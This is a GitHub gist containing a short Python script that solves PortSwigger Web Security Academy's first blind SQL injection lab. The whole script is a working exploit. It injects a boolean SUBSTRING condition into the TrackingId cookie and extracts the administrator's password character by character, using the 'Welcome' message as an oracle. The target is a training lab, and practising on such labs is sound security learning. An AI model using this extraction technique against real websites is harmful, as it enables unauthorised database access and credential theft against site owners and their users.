Created
November 7, 2021 03:26
-
-
Save luizmlo/5999b6df24ded2cb80b6049436a9ca17 to your computer and use it in GitHub Desktop.
Port Swigger Academy - Blind SQL Injection #1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, string | |
def test_query(query=''): | |
url = 'https://aca51f221ea83843c0901b2000f9001f.web-security-academy.net/' | |
base_value = 'buBwSd5frbC0rTFR' | |
payload = base_value + query | |
vuln_cookies = {'TrackingId':payload} | |
r = requests.get(url, cookies=vuln_cookies).text | |
return True if len(r.split('Welcome')) > 1 else False | |
charset = string.ascii_lowercase + string.digits | |
password = '' | |
for position in range(1,32): | |
for char in charset: | |
if test_query(f"%27+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username+=+%27administrator%27),{position},1)+=+%27{char}"): | |
password += char | |
print(f'password[{position-1}] = {char} -> {password}') | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment